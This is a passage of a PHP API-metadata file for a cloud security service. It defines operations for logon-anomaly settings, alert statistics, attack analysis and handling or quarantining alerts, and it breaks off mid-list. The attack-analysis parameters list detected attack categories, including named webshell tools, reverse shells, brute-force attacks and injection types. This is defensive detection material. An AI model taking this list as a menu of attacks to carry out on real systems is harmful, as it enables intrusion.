'DescribeLoginBaseConfigs' => [ 'summary' => 'Queries the information about the configurations that are used to detect unusual logons to your servers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], ], 'parameters' => [ [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **5**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '5', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The logon type of the configuration to query. Valid values:'."\n" ."\n" .'* **login\\_common_location**: common logon location'."\n" .'* **login\\_common_ip**: common logon IP address'."\n" .'* **login\\_common_time**: common logon time range'."\n" .'* **login\\_common_account**: common logon account', 'type' => 'string', 'required' => true, 'example' => 'login_common_location', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Target', 'in' => 'query', 'schema' => [ 'description' => 'The server to which the configuration is applied. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **Target**: the UUID or group ID of the server to add or delete.'."\n" ."\n" .'> If targetType is set to uuid, the value of Target is the UUID of the server. If targetType is set to groupId, the value of Target is the group ID of the server. If targetType is set to global, the value of Target is a hyphen (-).'."\n" ."\n" .'* **targetType**: the type of the server to which the configuration is applied. Valid values:'."\n" ."\n" .' * **uuid**: a server'."\n" .' * **groupId**: a server group'."\n" .' * **global**: all servers'."\n", 'type' => 'string', 'required' => false, 'example' => '[ {"target": "inet-7c676676-06fa-442e-90fb-b802e5d6****", "targetType": "uuid" } ]', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '2C2D4B3C-0524-17B1-93D2-DA50119F4E1E', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'BaseConfigs' => [ 'description' => 'The description of the configuration.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the configuration.'."\n", 'type' => 'object', 'properties' => [ 'EndTime' => [ 'description' => 'The end time of the common logon time range.'."\n", 'type' => 'string', 'example' => '07:00', ], 'Account' => [ 'description' => 'The common logon account.'."\n", 'type' => 'string', 'example' => '1582318****', ], 'StartTime' => [ 'description' => 'The start time of the common logon time range.'."\n", 'type' => 'string', 'example' => '08:00', ], 'Ip' => [ 'description' => 'The common logon IP address.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'TotalCount' => [ 'description' => 'The total number of servers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '172', ], 'UuidCount' => [ 'description' => 'The number of servers to which the configuration is applied.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '13', ], 'Location' => [ 'description' => 'The common logon location.'."\n", 'type' => 'string', 'example' => 'Montenegro'."\n", ], 'TargetList' => [ 'description' => 'The details of the servers to which the configuration is applied.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the server to which the configuration is applied.'."\n", 'type' => 'object', 'properties' => [ 'Target' => [ 'description' => 'The UUID or group ID of the server.'."\n", 'type' => 'string', 'example' => '0011ea53-738c-4bff-93be-ce6a1cc9****', ], 'TargetType' => [ 'description' => 'The type of the server to which the configuration is applied. Valid values:'."\n" ."\n" .'* **uuid**: a server'."\n" .'* **groupId**: a server group'."\n" .'* **global**: all servers'."\n", 'type' => 'string', 'example' => 'uuid', ], ], ], ], 'Remark' => [ 'description' => 'Corresponding configuration remark information.', 'type' => 'string', 'example' => 'test', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"2C2D4B3C-0524-17B1-93D2-DA50119F4E1E\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 200,\\n \\"BaseConfigs\\": [\\n {\\n \\"EndTime\\": \\"07:00\\",\\n \\"Account\\": \\"1582318****\\",\\n \\"StartTime\\": \\"08:00\\",\\n \\"Ip\\": \\"192.168.XX.XX\\",\\n \\"TotalCount\\": 172,\\n \\"UuidCount\\": 13,\\n \\"Location\\": \\"BeiJing\\",\\n \\"TargetList\\": [\\n {\\n \\"Target\\": \\"0011ea53-738c-4bff-93be-ce6a1cc9****\\",\\n \\"TargetType\\": \\"uuid\\"\\n }\\n ],\\n \\"Remark\\": \\"test\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n 2C2D4B3C-0524-17B1-93D2-DA50119F4E1E\\n 20\\n 200\\n \\n 07:00\\n 1582318****\\n 08:00\\n 192.168.XX.XX\\n 172\\n 13\\n 黑山\\n \\n 0011ea53-738c-4bff-93be-ce6a1cc9****\\n uuid\\n \\n \\n","errorExample":""}]', 'title' => 'DescribeLoginBaseConfigs', ], 'GetSuspiciousStatistics' => [ 'summary' => 'Queries the statistics of alerts in one or more asset groups.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92314', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '10.12.XX.XX', ], ], [ 'name' => 'GroupIdList', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group. Separate multiple IDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the IDs of asset groups.'."\n", 'type' => 'string', 'required' => true, 'example' => '9997897', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'SuspiciousCount' => [ 'description' => 'The number of alerts whose Emergency level is Suspicious.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '8', ], 'RemindCount' => [ 'description' => 'The number of alerts whose Emergency level is Reminder.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '84092B42-1A59-4F34-8DF8-1D93520990A5', ], 'SeriousCount' => [ 'description' => 'The number of alerts whose Emergency level is Urgent.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalCount' => [ 'description' => 'The total number of alerts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"SuspiciousCount\\": 8,\\n \\"RemindCount\\": 0,\\n \\"RequestId\\": \\"84092B42-1A59-4F34-8DF8-1D93520990A5\\",\\n \\"SeriousCount\\": 1,\\n \\"TotalCount\\": 9\\n}","errorExample":""},{"type":"xml","example":"\\n 9\\n 84092B42-1A59-4F34-8DF8-1D93520990A5\\n 0\\n 8\\n 1\\n","errorExample":""}]', 'title' => 'GetSuspiciousStatistics', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'CheckSecurityEventId' => [ 'summary' => 'Checks whether one or more alerts are generated on a specified server based on alert IDs.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '91913', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => '96ad2473-bc60-45ba-ad1c-932e2866****', ], ], [ 'name' => 'SecurityEventIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of alert events. You can specify up to 100 IDs. If you do not specify this parameter, the value of the response parameter **Data** is **false**. The value false indicates that no alert events are generated on the server.'."\n" ."\n" .'> You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to query the IDs of alert events.', 'type' => 'array', 'items' => [ 'description' => 'The IDs of alert events. You can specify up to 100 IDs. If you do not specify this parameter, the value of the response parameter **Data** is **false**. The value false indicates that no alert events are generated on the server.'."\n" ."\n" .'> You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to query the IDs of alert events.', 'type' => 'string', 'required' => false, 'example' => '24376', ], 'required' => false, 'example' => '["1234567","98765432"]', 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates whether the alert events are generated on the server. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE\\n true\\n","errorExample":""}]', 'title' => 'CheckSecurityEventId', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeAttackAnalysisData' => [ 'summary' => 'Queries the statistics of attack analysis.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '91995', 'abilityTreeNodes' => [ 'FEATUREsas8YMQ5V', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The details of attack analysis. Valid values:'."\n" ."\n" .'* **TOTAL**: number of attacks'."\n" .'* **TREND**: attack trend'."\n" .'* **PIE_CHART**: distribution of attacks by type'."\n" .'* **SOURCE_TOP**: top 5 attack sources'."\n" .'* **CLIENT_TOP**: top 5 attacked assets'."\n" .'* **DETAILS**: attack details'."\n" ."\n" .'> If the Type parameter is set to **DETAILS**, you must specify the CurrentPage and PageSize parameters.'."\n", 'type' => 'string', 'required' => true, 'example' => 'DETAILS', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp at which the attack starts. By default, the statistics of the previous seven days are queried. Unit: seconds.'."\n" ."\n" .'> The start time that you specify must be within the previous 40 days.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1644027670', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the attack stops. Unit: seconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1649040221', ], ], [ 'name' => 'Data', 'in' => 'query', 'schema' => [ 'description' => 'The condition that is used to filter attack events.'."\n" ."\n" .'> The following list describes the valid values of crack_type:'."\n" ."\n" .'* 3: brute-force attack on MySQL'."\n" ."\n" .'* 4: FTP brute-force attack'."\n" ."\n" .'* 5: SSH brute-force attack'."\n" ."\n" .'* 6: RDP brute-force attack'."\n" ."\n" .'* 9: brute-force attack on Microsoft SQL Server'."\n" ."\n" .'* 101: intercepted attack on Java Struts 2'."\n" ."\n" .'* 102: intercepted attack on Redis'."\n" ."\n" .'* 103: communication with AntSword Webshell'."\n" ."\n" .'* 104: communication with China Chopper Webshell'."\n" ."\n" .'* 133: communication with XISE Webshell'."\n" ."\n" .'* sqli: SQL injection'."\n" ."\n" .'* codei: code execution'."\n" ."\n" .'* xss: cross-site scripting (XSS)'."\n" ."\n" .'* lfi: local file inclusion'."\n" ."\n" .'* rfi: remote file inclusion'."\n" ."\n" .'* webshell: trojan script'."\n" ."\n" .'* upload: vulnerability upload'."\n" ."\n" .'* path: directory traversal'."\n" ."\n" .'* bypass: unauthorized access'."\n" ."\n" .'* csrf: cross-site request forgery (CSRF)'."\n" ."\n" .'* crlf: carriage return line feed (CRLF)'."\n" ."\n" .'* other: others'."\n", 'type' => 'string', 'required' => false, 'example' => '{"crack_type":"9"}', ], ], [ 'name' => 'Base64', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to encode the value of the **client_url** field in the query results by using the Base64 algorithm. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'string', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Pages start from page **1**.'."\n" ."\n" .'> If the Type parameter is set to **DETAILS**, you must specify the CurrentPage parameter.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n" ."\n" .'> If the Type parameter is set to **DETAILS**, you must specify the PageSize parameter.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The attack events. Valid values:'."\n" ."\n" .'* **client_url**: the URL of the attack request.'."\n" ."\n" .'* **internetIp**: the IP address of the asset.'."\n" ."\n" .'* **instanceName**: the name of the asset.'."\n" ."\n" .'* **table_src**: the data source.'."\n" ."\n" .'* **uuid**: the UUID of the asset.'."\n" ."\n" .'* **crack_method**: the method of the attack request.'."\n" ."\n" .'* **crack_hour**: the attack time.'."\n" ."\n" .'* **crack_src_ip**: the IP address from which the attack is launched.'."\n" ."\n" .'* **instanceId**: the ID of the asset.'."\n" ."\n" .'* **dst_port**: the attacked port.'."\n" ."\n" .'* **client_ip**: the attacked IP address.'."\n" ."\n" .'* **location**: the region from which the attack is launched.'."\n" ."\n" .'* **aliuid**: the ID of the Alibaba Cloud account.'."\n" ."\n" .'* **crack_cnt**: the number of times that the attack is launched.'."\n" ."\n" .'* **crack_type**: the type of the attack. Valid values:'."\n" ."\n" .' * **113**: improper authorization.'."\n" .' * **112**: redirection attack.'."\n" .' * **upload**: vulnerability upload.'."\n" .' * **other**: others.'."\n" .' * **webshell**: trojan script.'."\n" .' * **201**: suspicious connection.'."\n" .' * **9**: brute-force attack on Microsoft SQL Server.'."\n" .' * **5**: SSH brute-force attack.'."\n" .' * **6**: RDP brute-force attack.'."\n" .' * **lfi**: local file inclusion.'."\n" .' * **7**: code execution.'."\n" .' * **sqli**: SQL injection.'."\n" .' * **209**: web attack.'."\n" .' * **31**: buffer overflow.'."\n" .' * **3**: brute-force attack on MySQL.'."\n" .' * **30**: clickjacking.'."\n" .' * **4**: FTP brute-force attack.'."\n" .' * **bypass**: unauthorized access.'."\n" .' * **33**: format string.'."\n" .' * **deeplearning**: others.'."\n" .' * **32**: integer overflow.'."\n" .' * **203**: brute-force attack.'."\n" .' * **34**: race condition.'."\n" .' * **rfi**: remote file inclusion.'."\n" .' * **0**: SQL injection attack.'."\n" .' * **212**: mining behavior.'."\n" .' * **213**: reverse shell.'."\n" .' * **211**: worm.'."\n" .' * **61**: session timeout.'."\n" .' * **20**: directory traversal.'."\n" .' * **xss**: XSS attack.'."\n" .' * **22**: unauthorized access.'."\n" .' * **21**: scan attack.'."\n" .' * **24**: file modification.'."\n" .' * **26**: file deletion.'."\n" .' * **25**: file reading.'."\n" .' * **28**: CRLF injection.'."\n" .' * **27**: logic error.'."\n" .' * **29**: template injection.'."\n" .' * **csrf**: CSRF.'."\n" .' * **path**: directory traversal.'."\n" .' * **crlf**: CRLF.'."\n" .' * **102**: CSRF.'."\n" .' * **103**: server-side request forgery (SSRF).'."\n" .' * **101**: XSS.'."\n" .' * **11**: file inclusion.'."\n" .' * **10**: file upload.'."\n" .' * **12**: vulnerability upload.'."\n" .' * **15**: unauthorized access.'."\n" .' * **14**: information leakage.'."\n" .' * **17**: XML entity injection.'."\n" .' * **16**: insecure configuration.'."\n" .' * **19**: Lightweight Directory Access Protocol (LDAP) injection.'."\n" .' * **18**: XPath injection.'."\n" .' * **codei**: code execution.'."\n" .' * **ai_webshell**: intelligent defense against webshell upload.'."\n" .' * **alinet_webrce**: adaptive web attack defense.'."\n" .' * **210**: JSP webshell upload.'."\n" .' * **161**: webshell upload.'."\n", 'type' => 'string', 'example' => '[{\\"crack_hour\\":1662480000000,\\"crack_cnt\\":471},{\\"crack_hour\\":1662483600000,\\"crack_cnt\\":461},{\\"crack_hour\\":1662487200000,\\"crack_cnt\\":445},{\\"crack_hour\\":1662490800000,\\"crack_cnt\\":471},{\\"crack_hour\\":1662494400000,\\"crack_cnt\\":534},{\\"crack_hour\\":1662498000000,\\"crack_cnt\\":652},{\\"crack_hour\\":1662501600000,\\"crack_cnt\\":706},{\\"crack_hour\\":1662505200000,\\"crack_cnt\\":613},{\\"crack_hour\\":1662508800000,\\"crack_cnt\\":578},{\\"crack_hour\\":1662512400000,\\"crack_cnt\\":577},{\\"crack_hour\\":1662516000000,\\"crack_cnt\\":616},{\\"crack_hour\\":1662519600000,\\"crack_cnt\\":597},{\\"crack_hour\\":1662523200000,\\"crack_cnt\\":575},{\\"crack_hour\\":1662526800000,\\"crack_cnt\\":507}]', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: 10.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4C1AE3F3-18FA-4108-BBB9-AFA1A032756C', ], 'Total' => [ 'description' => 'The total number of attack events returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1000', ], 'Page' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => 'Invalid parameter value.', ], [ 'errorCode' => 'UserInstanceVersionNotSupportAttackAnalysisData', 'errorMessage' => 'Attack analysis data is not supported for the instance version.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": \\"[{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662480000000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":471},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662483600000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":461},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662487200000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":445},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662490800000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":471},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662494400000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":534},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662498000000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":652},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662501600000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":706},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662505200000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":613},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662508800000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":578},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662512400000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":577},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662516000000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":616},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662519600000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":597},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662523200000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":575},{\\\\\\\\\\\\\\"crack_hour\\\\\\\\\\\\\\":1662526800000,\\\\\\\\\\\\\\"crack_cnt\\\\\\\\\\\\\\":507}]\\",\\n \\"PageSize\\": 10,\\n \\"RequestId\\": \\"4C1AE3F3-18FA-4108-BBB9-AFA1A032756C\\",\\n \\"Total\\": 1000,\\n \\"Page\\": 1\\n}","type":"json"}]', 'title' => 'DescribeAttackAnalysisData', ], 'HandleSimilarSecurityEvents' => [ 'summary' => 'Handles multiple alert events that are triggered by the same IP address rule or IP address rules of the same type at a time.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92317', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the task that handles the alert events at a time.'."\n" ."\n" .'> You can call the [CreateSimilarSecurityEventsQueryTask](~~CreateSimilarSecurityEventsQueryTask~~) operation to query the IDs of tasks.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '666038', ], ], [ 'name' => 'OperationCode', 'in' => 'query', 'schema' => [ 'description' => 'The operation that you want to perform to handle the alert events.'."\n" ."\n" .'> You can call the [DescribeSecurityEventOperations](~~DescribeSecurityEventOperations~~) operation to query the operations.'."\n", 'type' => 'string', 'required' => true, 'example' => 'offline_handled', ], ], [ 'name' => 'OperationParams', 'in' => 'query', 'schema' => [ 'description' => 'The configuration of the operation that you want to perform to handle the alert events. The value of this parameter is in the JSON format.'."\n" ."\n" .'> If you set **OperationCode** to **kill\\_and\\_quara**, **block\\_ip**, or **virus\\_quara**, you must specify OperationParams. If you set **OperationCode** to other values, you can leave OperationParams empty. If you set **OperationCode** to **block_ip**, the value of OperationParams must consist of the following fields:'."\n" ."\n" .'> * **expireTime**: the end time of locking. Unit: milliseconds.'."\n" ."\n" .'> If you set **OperationCode** to **kill\\_and_quara**, the value of OperationParams must consist of the following fields:'."\n" ."\n" .'> * **subOperation**: the method of detection and removal. Valid values:'."\n" ."\n" .'> * **killAndQuaraFileByMd5andPath**: terminates the process and quarantines the source file of the process.'."\n" .'> * **killByMd5andPath**: terminates the running process.'."\n" ."\n" .'> If you set **OperationCode** to **virus_quara**, the value of OperationParams consists of the following fields:'."\n" ."\n" .'> * **subOperation**: the method of detection and removal. Valid values:'."\n" ."\n" .'> * **quaraFileByMd5andPath**: quarantines the source file of the process.', 'type' => 'string', 'required' => false, 'example' => '{"expireTime":1646208726195}', ], ], [ 'name' => 'MarkMissParam', 'in' => 'query', 'schema' => [ 'description' => 'The whitelist rule. For example, if you want to add a file that contains the string a to the whitelist based on the MD5 hash value, set this parameter to {"field":"md5","operate":"contains","fieldValue":"aa"}.'."\n", 'type' => 'string', 'required' => false, 'example' => '{"field":"md5","operate":"contains","fieldValue":"aa"}', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The remark of the operation.'."\n", 'type' => 'string', 'required' => false, 'example' => 'remark test.', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A3653911-33A6-5268-8B91-7690471F7AA1', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataRetrieveNotFinished', 'errorMessage' => 'Data retrieving not finished yet', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'OperationTaskNotExists', 'errorMessage' => 'The specified operation task does not exist', ], [ 'errorCode' => 'MissingTaskId', 'errorMessage' => 'Task id is mandatory for this action.', ], [ 'errorCode' => 'InvalidOperationForEvent', 'errorMessage' => 'The operation is invalid for the event.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"A3653911-33A6-5268-8B91-7690471F7AA1\\"\\n}","errorExample":""},{"type":"xml","example":"1B080663-F4E6-4736-89B9-48FC43E160A7","errorExample":""}]', 'title' => 'HandleSimilarSecurityEvents', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'RollbackSuspEventQuaraFile' => [ 'summary' => 'Restores a quarantined file.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '92431', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. '."\r\n", 'type' => 'string', 'required' => false, 'example' => '1.2.3.4', ], ], [ 'name' => 'QuaraFileId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the quarantined file. '."\n" .'> If you do not configure this parameter, you cannot call the RollbackSuspEventQuaraFile operation to restore a quarantined file. You can call the [DescribeSuspEventQuaraFiles](~~DescribeSuspEventQuaraFiles~~) operation to query the IDs of quarantined files.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '3921797', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to sas. '."\r\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request. '."\r\n", 'type' => 'string', 'example' => '52A3AEE6-114A-499D-8990-4BA9B27FE0AA', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"52A3AEE6-114A-499D-8990-4BA9B27FE0AA\\"\\n}","type":"json"}]', 'title' => 'RollbackSuspEventQuaraFile', ], 'HandleSecurityEvents' => [ 'summary' => 'Handles alert events.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '92316', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'OperationCode', 'in' => 'query', 'schema' => [ 'description' => 'The operation that you want to perform to handle the alert events. Valid values:'."\n" ."\n" .'* **block_ip**: blocks the source IP address.'."\n" .'* **advance\\_mark\\_mis_info**: adds the alert events to the whitelist.'."\n" .'* **ignore**: ignores the alert events.'."\n" .'* **manual_handled**: marks the alert events as manually handled.'."\n" .'* 